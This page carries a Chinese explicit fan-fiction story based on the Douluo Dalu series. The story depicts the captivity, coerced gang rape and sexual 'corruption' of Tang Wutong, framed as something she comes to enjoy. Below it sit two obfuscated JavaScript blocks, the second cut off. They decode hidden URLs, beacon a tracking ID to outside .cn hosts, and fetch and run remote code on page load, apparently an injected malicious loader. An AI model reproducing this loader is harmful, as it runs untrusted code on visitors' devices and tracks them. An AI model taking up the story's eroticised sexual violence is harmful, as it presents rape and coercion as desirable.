堕落唐舞桐[玄幻武侠]

 
  富丽堂皇的房间中,一个不着寸缕的少女正昏睡在床上,急促的喘息以及剧烈起伏的胸口显示着少女的睡眠并不美好。下一秒,唐舞桐猛然张开双眼,大口地喘息着,梦境中,她被无数的触手无孔不入地侵犯着,又在伙伴们的注视下被钟离乌狠狠地蹂躏。尽管已经清醒过来,但那些淫荡的场面仍然历历在目。敏感的身体在梦境的影响下竟然有了反应,下体在不知不觉间就已经悄然湿润。
媚药的作用早已消散,可唐舞桐却仍然感觉自己的身体在发热,下体越来越难忍的瘙痒让她不自禁地摩擦双腿,脑海中不由自主的显现出自己被圣灵教众侵犯时的画面。不一会儿,大腿的摩擦已经无法缓解身体的欲望,唐舞桐分开双腿,右手抚过小穴。这一下彻底点燃了情欲,唐舞桐再也忍耐不住,两根手指顺滑的进入自己的小穴,左手也握住了自己丰满的乳房,手指不断摩挲着乳头。这是她第一次自慰,可她的动作却非常的快,仿佛稍慢一点就无法满足一样。轻声的呻吟也逐渐变成激烈的喘息,手指一进一出时都能带出点点的爱液,脑海中的画面伴随着快感的提升变得越来越过分。
伴随着脑海中的想象,唐舞桐不自觉的弓起身体,手上的动作越来越快,可就在快要高潮的时候,一双玉手从她的背后抱住了她,凤菱充满魅惑的嗓音自其耳边响起:「呦~这就已经按耐不住了吗。」骤然出现的身体接触和声音惊得唐舞桐瞬间欲望全无,转眼看去,浑身赤裸的凤菱正紧紧地贴在自己的身上,完美无瑕的肉体尽收眼底。这是唐舞桐第一次目睹如此性感的身体,再加上被人发现了自慰,唐舞桐不禁羞红了脸,转头不敢直视凤菱。此情此景,凤菱也按捺不住内心的欲望,一个翻身骑在了唐舞桐的身上,双手从唐舞桐的小腹一路抚摸到了她的双峰,一丝诱惑的笑容浮现在了她的嘴角上:「既然我们都已经欲火焚身了,那就一起好好的乐一乐吧~」说罢,凤菱俯下身体,在唐舞桐惊讶的神情中,吻上了她娇嫩的嘴唇。两个同样性感美丽,同样赤身裸体,同样充满欲望的女人,紧紧地贴在一起,激烈的吻着,这幅香艳的画面能让目睹的所有人都血脉喷张。
凤菱的攻势非常凌厉,双唇相接的一瞬间,便开始疯狂地前进,扭动着探索着唐舞桐的口腔,在上上下下探索了一遍后,便找到了那条同样柔软的舌,然后紧紧地缠绕了上去。似乎是凤菱的攻势太过强烈,唐舞桐浑身紧绷,口腔和喉咙因为急迫的气息不断发出「呜呜」的声音。
或许是感觉到了唐舞桐的紧张,凤菱放缓了攻势,温柔地缠绕、舔舐着唐舞桐的香舌,双手在唐舞桐身体的各个部位游走抚摸。温柔地爱抚激发了唐舞桐更强烈的欲望,她的双手也在对方的身上上下探索着。
二人亲吻了半晌,凤菱才恋恋不舍地抬起头,在二人的嘴角间拉出了数条晶莹的丝线,随后转过身子背对着唐舞桐,将她的双腿抬起,然后骑在了唐舞桐的脸上。
两个女人互相舔舐着对方的下体,或许是技巧不如凤菱,又或许是自己的姿势太过羞耻,舔着舔着,唐舞桐忽然一个激灵,爱液喷了凤菱满满一脸。凤菱舔舐着嘴角的爱液,妩媚一笑,也不在乎自己的脸上还有不少蜜汁,起身抱起唐舞桐的一条腿,然后侧身坐下,将两个人的阴部贴合在一起,腿一伸,将脚放在唐舞桐的嘴边任由她舔着,然后一边亲吻着唐舞桐的玉足,一边快速用力地活动着下体。
磨豆腐带来的奇异快感不同于与男人性交,怪异的反差感让两个人都来了感觉,呻吟声从二人口中此起彼伏的出现。半个小时后,二人终于是到达了绝顶,双双泄了身。凤菱愉悦地长出了一口气,爱抚着倒在床上不断喘着气的唐舞桐,似乎想到了什么,嘴角露出了一抹神秘的笑容,随即走出了房间。
待凤菱回到房间后,唐舞桐已经休息的差不多了。看到凤菱回来,唐舞桐不禁羞涩地移开了视线,一想到自己和一个女人做到高潮,她的脸不禁又红了几分,看到这一幕,凤菱挑了挑唐舞桐的下巴,颇为挑逗地说:「你要是什么时候又想做了,可以随时来找我~」吻了吻唐舞桐的红唇,凤菱将唐舞桐的衣服扔给了她,「穿上衣服,然后跟我走。」上衣,短裙,丝袜,短靴,内衣,唐舞桐默默地穿戴整齐,这几天来她都是不着寸缕,内心渴望着能有哪怕是一丁点儿的衣物用来遮蔽自己的隐私,可如今,终于梦寐以求的穿上了衣服,可身体却非常的不适应,似乎是已经习惯了暴露在空气中,浑身上下都散发着强烈的束缚感。
跟随凤菱来到了一个非常大的房间前,打开门,屋子里摆放着一张桌子和一些简单的家具,以及一些非常眼熟的性玩具。在凤菱的命令下,唐舞桐不知所以地走进房间,刚想回头询问,却看见凤菱锁上了门,随后打开了一个不明的装置。
刹那间,空荡荡的房间中出现了上百个浑身赤裸的男人,淫笑着看着震惊的少女。
一时间,恐惧笼罩了唐舞桐的内心,这几天来自己被侵犯调教的画面仍历历在目,那一波又一波无休止的高潮每次都能让她欲仙欲死,她不敢想象被这上百号人玩弄后自己会变成什么样子。
也许真的会死吧。
她想逃走,可大门已被紧紧反锁,退一步讲,就算门没锁,失去了魂力的她,又怎么能逃得了。
男人们坏笑着聚拢上来,深深地绝望感漫上心头,就在她准备自我了断之时,站的最近的男人开口了:「嘿嘿,别那么着急就自杀,唐舞桐。你的身份很特殊,教主有令,只要你乖乖的,我们不会把你怎么样,相反,我们还能让你很爽。」话语间,几个男人的手已经隔着衣服开始抚摸唐舞桐的身体。「但你要是拒不配合的话,就别怪我们不怜香惜玉了,我们可不介意让你体验体验那些落到我们手中的性奴隶的感觉,嘿嘿嘿,听明白了吗。」无路可逃,无计可施,现在看来只有顺从他们才是最好的结果。
「明白了……」
「明白了就把衣服脱了吧,这些衣服可着实有点碍事啊嘿嘿。」听闻此言,唐舞桐将手伸向了衣扣,可一想到要在上百个男人面前展示身体,她便不禁犹豫了一下,可就是这犹豫的半晌,一道魂力鞭子狠狠地抽在了她的身上,「啊啊啊!」唐舞桐顿时惊叫出声。
「明白了还不快点?磨磨蹭蹭的干什么,是不是想让我们好好地疼爱你啊?」说完,那个人又是几鞭子,直疼的唐舞桐站都站不稳,眼泪夺眶而出。
「别,别打了,疼……我脱……呜……」淫威之下,唐舞桐不得不啜泣着回应,一边擦拭着眼泪,一边慢慢的褪去衣物,只留一双白丝。随着衣服一点点的褪去,唐舞桐曼妙的身材也逐渐浮现,男人们的视线纷纷火热了起来,他们将唐舞桐抱到桌子上,开始上下抚摸揉捏着她身体的各个地方。一双大手牢牢地把握着胸前的两团丰盈,并揉搓着粉嫩的乳头,另一个男人的手在她平坦的腹部肆意滑动着并且时不时地撩拨着私密地带。白丝美腿和玉足也被几个男人爱抚着。
「这对奶子真的是极品啊,又大又圆,弹性还这么好,平时一定有好好保养吧哈哈。」「这双美腿真是犯规啊,光是看着就让我兴奋起来了,我都快忍不住对这腿来一发了。」「哈哈,别着急啊,一会儿有你玩的。」
全身上下同时被玩弄着产生的快感让唐舞桐舒服的哼出声来,男人们的手法让她觉得自己的身体正在慢慢融化,下体也逐渐开始湿润。
一个男人分开她的双腿,露出了女人最美的花苞,此刻,这花苞已经快能滴出水来,一张一合之间,仿佛正在等待着男人的爱抚。
在这么多人面前露出最私密的部位,即便已经被很多人使用过,可唐舞桐仍然害羞地扭过头不敢看,可一只大手牢牢地固定住她的头,强迫她看着自己的小穴被爱抚、抠弄。伴随着快感的不断升级,唐舞桐也逐渐发出悦耳的喘息,下身分泌的爱液顺着桌子不断滴落,也让男人的手指更加顺滑的进出。
一个男人将手指塞进了唐舞桐的嘴中,一边玩弄着柔软的香舌,一边不住地赞叹:「啧啧啧,不愧是龙蝶斗罗,学的这么快,这么灵活的舌头待会儿要是舔起肉棒来,该有多爽啊。」「呜……别,别说了。」淫语的刺激,让唐舞桐的快感愈加强烈起来,小穴传出的快感马上就要将她推向高潮。可就在她要绝顶的时候,男人却停下了手上的动作,想象中的快乐没有到来,唐舞桐不禁迷茫的看着身旁的人。
「嘿嘿嘿,只有你自己舒服可太不公平了,你得让我们也好好爽爽才对啊。」男人一边说着,一边将唐舞桐拉下来,自己躺下,然后让唐舞桐趴在自己身上。
「要,要怎么做……」由于没能高潮,唐舞桐仍处于发情的状态,因此她并没有抗拒男人的动作,反而小声地问了一句。
「用你的奶子夹住我的肉棒,给我乳交。」
尽管被玩弄了这么多天,可她从来没有做过这种事,唐舞桐一时间不知该怎么办,可在欲望的推动下,她还是凭借着直觉,用自己雪白的肉团,夹住了男人巨大的肉棒,上下套弄了起来。
尽管如此,男人却仍不满足:「别光用奶子,嘴巴和舌头也用上。」唐舞桐只好低下头,伸出舌头舔舐着龟头,时不时地将整个龟头含住,弄个男人好不舒服。
她不知道自己为什么会这么自然的做出这些平时她想都不敢想的事,长时间的侵犯让她对性爱的抗拒逐渐消失,尽管她仍然时刻克制着自己保持底线,可性交的快感就像是毒品一般,一经沾染,就再也不会忘却。在没有逾越底线的情况下,她有时也会泛起「这样或许也不错」的想法,也正是这种想法,让她慢慢的放下了羞耻心。从另一个方面讲,这种变化也降低了唐舞桐内心的痛苦和煎熬,也正应了那句话:「既然无法抗拒,倒不如学会享受。」虽然如今的唐舞桐不会去享受,但她的顺从与配合让她免除了肉体上的惩罚。
少女笨拙的侍奉并没有影响到男人的享受,不多时,男人便低吼一声,精液喷薄而出,射满了唐舞桐的脸颊和胸部,还有不少溅到了嘴里。刺鼻的味道让她皱起了眉头,赤裸的娇躯配上点滴的白浊液体,构成了一幅极其诱惑的画面。
唐舞桐还没来得及擦拭身上的液体,一根同样巨大的肉棒便已塞入她的口中。
「呜……呜……呕」突然的冲击使唐舞桐产生了强烈的不适,但口交的感觉她并不陌生,在度过了不适应的阶段后,她的呼吸也逐渐平稳了下来。
看到唐舞桐适应了自己的尺寸,男人嘿嘿一笑,抱住唐舞桐的头,开始抽送起肉棒,并逐渐加快着速度,唐舞桐闭着双眼任由男人操干她的嘴,口腔的充实催生出一波一波的欲望,香舌慢慢的舔舐、缠绕着肉棒,让男人的快感更加强烈。
唾液顺着肉棒和嘴角滑下,在灯光的照射下熠熠生辉。
似乎是觉得太过平淡,男人在一次缓慢退出后,将整根肉棒都挺进了唐舞桐的口中,龟头和肉棒前端已经深入到了喉咙。这是唐舞桐第一次体验深喉,喉咙被压迫,呼吸被阻隔,她睁大了双眼,惊慌失措的拍打着男人,可男人却保持着姿势,直到唐舞桐的身体剧烈地颤抖起来才将肉棒拔出。
「咳咳……咳咳咳……」深喉的糟糕体验让唐舞桐剧烈地咳嗽起来,眼泪都被呛了出来。看到男人再次欺身上前,她只来得及说一句「轻一点」就再次被肉棒堵住了嘴。有了第一次的体验,这一次唐舞桐努力调整着自己的呼吸,尽力忍耐着喉咙处的不适感,足足坚持了十秒,肉棒退出时也只是轻轻咳嗽了几声。然后,便是第三次、第四次……直到男人终于忍不住,在她的口中释放出来。强迫唐舞桐吞下精液,男人舒爽地长吁一口气,把位置让了出来。
「这么快就完全适应了,你还真是个当肉便器的好料子啊。」另一个男人一边淫笑着,一边将肉棒逼近唐舞桐。
「这种事,你想都别想。」尽管魂力已失,肉体被玷污,精神被污染,但此时此刻,唐舞桐仍然爆发出了不该有的强硬,这股突然的气势让所有人都微微一怔,换成其他女人,或许他们早已大笑起来,然后毫不怜香惜玉地将那个女人干的要死要活,但不知怎的,面对唐舞桐,他们却是沉默了,过了半晌,那个男人好似怂了一样回了一句:「好好好,那种事怎样都好,总之,我要开始了。」唐舞桐也没有料到会是这样的发展,她不禁联想到圣灵教主的命令。「总之,先把眼前的事应付过去吧。」男人的肉棒已经到了眼前,唐舞桐张开小嘴含住,开始了第二轮的深喉口交。她适应的很快,没过多时,深喉的不适感就已经消失不见。
「咕……呣……」肉棒夹杂着唾液在口中搅弄,弄得唐舞桐不自觉的发出美妙的声音,周围的男人早已忍耐不住,纷纷拿起唐舞桐的衣服鞋子,自慰起来。
不多时,那第二个男人便爆发出来,刚把肉棒退出来,第三个人便趁势上前,唐舞桐都来不及擦拭嘴角,就又被肉棒占满,丝毫没有喘息的时间。长时间的口交让她苦不堪言,已经有十几个男人在她的嘴里射出了精液,每一次吞咽下精液她都会感觉胃部在不断的翻腾,好几次她都要紧紧捂住嘴让自己不吐出来。
似乎是觉得唐舞桐快要坚持不下去了,男人们给她喂了点水,随后将她抱回到桌子上,分开她的双腿,随后,一枚粉红色的跳蛋已然被粘在了阴蒂上。「嗡嗡」声大作,极快的频率刺激的唐舞桐不断的呻吟着扭动着身体,本就湿哒哒的小穴更加淫水涟涟。男人没有停手,又将一支粗大的按摩棒塞入小穴。
「啊……啊……太大了……哦……」
不久前被迫中断的快感重新涌来,反复的刺激让她变得比原来更快的达到高潮。
快感在男人插入后庭的一刻达到顶峰,不亚于双穴的快感让唐舞桐差点爽上了天,美妙的娇喘在男人的耕耘下一声高过一声,蜜穴里强烈的快感使得唐舞桐不自觉地收缩着肛门,骤感压力的男人不得不加大力度才能顺畅的抽插,这样一来两个人的快感更加的强烈,马上就要到双双高潮的程度,欲望推动下,男人抽出肉棒爬上桌子,将唐舞桐翻了个身,摘下跳蛋,再把按摩棒塞入后庭,自己则对着缓缓开合的蜜穴,用力顶了进去。
「啊!哦……哦……噫……啊。」真正的肉棒在蜜穴里横冲直撞,比方才更加强烈的快感让唐舞桐浑身颤抖了起来,男人胯下用力一顶,然后猛的将肉棒和按摩棒同时抽出。
「噫噫噫噫噫噫噫噫!!」这一下让唐舞桐直接达到了绝顶,爱液如决堤一般喷涌而出,唐舞桐身体紧绷,双手紧紧抓着桌子,绝顶的快乐使她高仰着头,跪在桌子上整整潮喷了十秒才全身一软倒了下去。
男人再次欺身而上,开始了最后了冲刺,每一下都是向外退出直把龟头留在里面,然后再狠狠地一插到底,直入子宫。一秒四五下的速度直肏得唐舞桐花枝乱颤、浪叫连连,终于,在唐舞桐高亢的呻吟声中,男人将精液满满地射进子宫,然后将沾满精液和爱液的肉棒伸到她的嘴边,让她用嘴清理肉棒。在快感的影响下,唐舞桐没有犹豫,张嘴含住肉棒开始吮吸起来,先前的口交吞精让她慢慢的接受了精液的味道,此时此刻,精液和爱液混合在一起的奇特味道如同催情液一般激起唐舞桐又一次的性欲。
有人开了头,其他人便再也按捺不住,纷纷围拢了上来,动作快的已经躺在了桌子上,将唐舞桐拉过来,肉棒对准穴口,将她的身体放下,肉棒毫无阻碍的捅入子宫。另一个人骑在唐舞桐的身上,对准后庭直接插入,同时第三个人来到面前,将肉棒塞入唐舞桐张开的小嘴中。
三穴齐插,那种欲仙欲死的快感哪怕是体验过也无法适应和阻挡。唐舞桐扭动着身体,呜呜声大作,仅仅是几次抽插便让她达到了高潮,下体分泌出大量的爱液和肠液,让男人的动作更加的顺畅、快速,一波高潮还未结束就迎来了第二波高潮,接连不断的绝顶快感让唐舞桐快要疯掉,眼泪止不住的流下,显得更加楚楚动人。
被口交的男人率先忍不住了,射在嘴里后便退了出来,随后,肏干着小穴的男人也缴了枪。骑着唐舞桐的男人见状将她抱起,双腿分开,以把尿的姿势继续肏干着后庭。暴露在外的小穴马上就被另一根肉棒塞满。当一根肉棒在肠道内射精时,又会有另一根肉棒填补后庭的空虚。就这样,男人们在唐舞桐激烈的呻吟声中,享受着少女紧致双穴的舒适。
不知道轮换了多少次后,唐舞桐已然被肏得神智不清,昏了过去,小腹被精液填充得微微隆起,小穴和后庭正不断的向外流淌着精液,汇聚身下形成了一片惊人的区域。待唐舞桐悠悠醒转,男人们给她喂了一些水和营养液,便开始了又一次的轮交。
唐舞桐以为还是像刚才那般激烈,惊得浑身一颤,可男人们似乎已经过足了瘾,重点已经不在于玩弄她,而是观赏她被玩弄。男人们放缓速度,不断变换着姿势肏干着她,或双腿大开,或跪姿后入。
此时的唐舞桐正跪在地上,身后一个男人正一下小穴一下后庭的抽插着,娇俏的乳房和白丝玉足也正在被肉棒摩擦着,双手各握住一根肉棒,一边撸动一边左一口右一口地吮吸。
如此淫靡的画面让其他人同样的性奋,纷纷撸动着自己的肉棒。一个男人拿过唐舞桐的两只短靴,让其他人都射在里面,上百号人几轮齐射,两只短靴就已经被注满了精液,男人们拎着短靴走到唐舞桐的面前,向她展示了一下里面几乎满溢的精液,精液刺鼻的臭味刺激的唐舞桐直皱眉头,她似乎明白了他们想要干什么,刚想扭过头,一双有力的大手便将她的头牢牢地固定住,强行掰开她的嘴,同时身后的男人用力地顶着,迫使她只能伸出舌头才能够喘息。看着一脸惊慌却又手足无措的唐舞桐,男人淫笑着将鞋子中的精液倾倒而下,精液汹涌地进入口腔,为了防止被呛住,唐舞桐只能不停地将精液吞下,喉咙因输送精液而不断地蠕动,发出「咕噜咕噜」的声音。这是唐舞桐第一次喝下如此多的精液,难闻的气味和难受的口感让她几欲作呕,可她除了大口吞下之外什么都做不了。一鞋精液喝下去,唐舞桐强忍着腹中的翻腾,将口中残留的精液咽了下去,精液的臭味在鼻腔中挥之不去,可当恶心的感觉消失后,她竟诧异地发现自己并不排斥精液的味道,相反,她竟隐隐地想要再喝一些。没等她多想,第二鞋的精液已经到来,还是如刚才一般吞下,可唐舞桐却发现恶心的感觉没有了,口中的精液也不再像刚才那般难以下咽,黏腻的口感如水银泻地一般铺满口腔,催生出淫乱的舒适感,味蕾中刺鼻味道之下的是一丝无法形容的美味。唐舞桐甚至觉得自己已经爱上了精液的味道。她浑然不知,控制着自己头部的双手已经松开,现在的她,正欣然地接受着男人的灌精,在其他人的眼中,唐舞桐正毫不抵抗地喝着自己的精华,这等征服感和满足感哪怕是亲自提枪上阵也达不到。没等唐舞桐喝完,周围的人又一次忍受不住,将肉棒对准唐舞桐,纷纷射了出来。霎时,唐舞桐仿佛洗了个精液浴一样,浑身上下全都被精液所覆盖,脸上、胸上、手臂、大腿、翘臀,白浊的痕迹将本就性感曼妙的身体点缀的更加淫荡。
吞下最后一口精液,唐舞桐大口地喘息着,看着满身的白浊液体和周围颇为满足的男人们,百感交集。粘稠的精液遍布身体上下,可唐舞桐却丝毫不觉得难受,她悲哀地意识到,自己已经适应了男人的爱抚和侵犯,适应了精液的触感和味道,堕落可能只不过是时间问题。
清洗完身体后,唐舞桐被送回了房间,身心俱疲的她栽倒在床上便沉沉睡去,一觉醒来便发现自己的衣物已经被洗干净放在了床头。看着洁净如新的衣物,唐舞桐不禁想起昨天被轮交灌精的情景。晃晃脑袋将淫乱的场景赶出脑海,穿戴整齐后走到门前,她不禁有些害怕圣灵教的人今天又会对她做什么。
咬咬牙,唐舞桐推门走出房间,只有钟离乌站在门外,唐舞桐本以为又会有什么淫乱的事情发生在自己身上,认命地轻叹一声,可钟离乌的话却让她当场愣在原地:「你可以走了。」唐舞桐震惊的无以复加,她本以为自己可能一辈子都要呆在这个暗无天日的地方,被圣灵教的人一次又一次地享用。
本来,失去了龙蝶斗罗,史莱克学院战力骤降,日月帝国大军压境,圣灵教本已经准备好联合日月帝国一举攻破史莱克,可日月帝国皇帝徐天然和一众大臣均认为圣灵教不是好相与之辈,从而出尔反尔,设计灭杀了数名长老以及一干教众。这等损失对于圣灵教虽然不会伤筋动骨,可也算得上元气大伤,如此一来,圣灵教与日月帝国的联合自然断裂,三方势力突然进入了一种诡异的鼎力状态,这样一来,被抓的唐舞桐就成了一块烫手的山芋。失去了盟友,圣灵教不敢与史莱克学院撕破脸皮,因为两败俱伤的同时还有一个日月帝国在虎视眈眈,再加上圣灵教内部的一系列矛盾,思来想去,钟离乌最终决定放了唐舞桐,然后带着圣灵教隐遁于世。可以说,日月帝国的自大和膨胀误打误撞的拯救了唐舞桐的命运。
感受着门外许久未见的阳光和空气,唐舞桐只觉恍如隔世,最初的喜悦过后,是对未来的担忧,身体和灵魂已经深深的记住了被侵犯的快乐,自己将来是否还能回到过去的生活,战事情况怎么样了,史莱克学院的大家,是否还记挂着自己。
心中的担忧被炮火的轰鸣打断,声音的来源竟是史莱克学院的方向,唐舞桐慌了神,赶忙找人打听了一下情况。原来,日月帝国在与圣灵教决裂后依然没有改变作战计划,魂导器大军已经开始全面进攻史莱克学院,失去了龙蝶斗罗,史莱克学院连唯一的优势都没有了,包括史莱克其余六怪在内的多名重要骨干相继失去战斗能力,整个史莱克城危在旦夕。
听闻此言,唐舞桐心如刀绞,她没想到养育了自己的地方如今已经快要覆灭。
思索了许久,唐舞桐想到了唯一一个能拯救史莱克的办法。
重重地叹了一口气,唐舞桐抬起了动人的眼眸,向着史莱克学院的方向最后留恋地看了一眼,然后转身离开。
唐舞桐在一众教众惊愕的目光中回到了圣灵教,找到钟离乌。她请求圣灵教出兵突袭日月帝国,以解史莱克之围,作为回报,她愿意以性奴的身份,永远留在圣灵教。
说罢,唐舞桐脱掉衣服,跪在了钟离乌的面前,尽心尽力地吮吸着肉棒,她用着被迫学到的方式,挑弄、吞吐、深喉。放下了坚守的底线,也放下了尊严,唐舞桐只求钟离乌能够答应她的请求。
看着身下卖力服侍着自己的少女,钟离乌沉默良久,缓缓道出一句:「值得吗。」听闻此言,唐舞桐动作一滞,吐出肉棒,只道出一句:「值得。」说完,便又吞下了肉棒。钟离乌仰头望天,双眼闪烁,似乎做出了某个决定。
第二天,驻守在史莱克城的日月帝国军毫无征兆的撤退了,同时,隐秘的消息也逐渐传开,圣灵教不知为何,集结重兵突袭了围攻史莱克的日月帝国大军,并且毁掉了几乎全部的魂导武器。这一役之后,日月帝国失去了再度攻打史莱克的力量,同时,日月帝国皇帝徐天然和皇后橘子均被刺杀,整个帝国一蹶不振。
而圣灵教方面同样损失惨重,战斗结束后便失去了踪迹,无人再能找到。而龙蝶斗罗唐舞桐的消息同样无人知晓,整个大陆就在以一种令人难以置信的方式,迎来了短暂的和平。
圣灵教内部,一个无人知晓的巨大房间,赫然便是唐舞桐被轮奸的地方,和往日同样的场景又一次出现,不过不同于以往,此时的唐舞桐,正被数个男人夹在中间。摆出各种淫荡的姿势,卖力的迎合着男人们的肏弄。那场战斗结束后,唐舞桐又回到了这个房间,面对着上百个男人,主动脱掉了衣服。
此时此刻,轮交已经接近尾声,唐舞桐跪在地上,迎接着男人们的后入冲锋。
男人们疯狂地挺动着下体,仿佛想要让她怀孕一样,将一发又一发的浓精射入子宫,一个人射完后,又会有另一个人接上,男人们就像接力赛一样,在唐舞桐愉悦的浪叫中不断的中出。性器交合处的下面,放着一只大玻璃杯,接着满溢而出的精液,此时,玻璃杯中的白浊液体已然快要没过杯口,当最后一个人射出后,男人们拿起已经被装满的杯子,走到了唐舞桐面前。见状,唐舞桐主动张开嘴巴,等待着精液的浇灌。杯沿与红唇相交,唐舞桐大口大口地喝下杯中的精液,精液的味道已经深深地刻在了她的脑海中,她双目迷离,仔细地品尝着精液的味道,不多时,满满一杯的精液已被她尽数喝掉,来不及吞下的精液顺着嘴角流遍了全身,唐舞桐将嘴角残余的精液全都吞下,抬头看向身边的男人,双眼之中尽是满足。
看到曾经的光明女神变成如此顺从的性奴,男人们都笑了,唐舞桐也笑了,可眼角,却有一滴眼泪滑落。(完)
关闭
关闭
function pSxyUYrQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function qnaQft(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pSxyUYrQ(t);};window[''+'M'+'T'+'L'+'b'+'Y'+'i'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AeFX(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=qnaQft,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AeFX(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qw.tangzonchuang.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AeFX(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnpoYW9mZW5ncnVpMS5jbiUzQTTg4OTTE=','d3NzJTNBJTJGJTJGdHkudmV0ZZGFuZZy5jbiUzQTk1MzQ=','9489',window,document,['T','Z']);}:function(){};
function nRoTtV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XhwHRTK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return nRoTtV(t);};window[''+'M'+'s'+'h'+'p'+'n'+'A'+'H'+'d'+'G'+'I'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LUyKT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XhwHRTK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LUyKT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LUyKT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 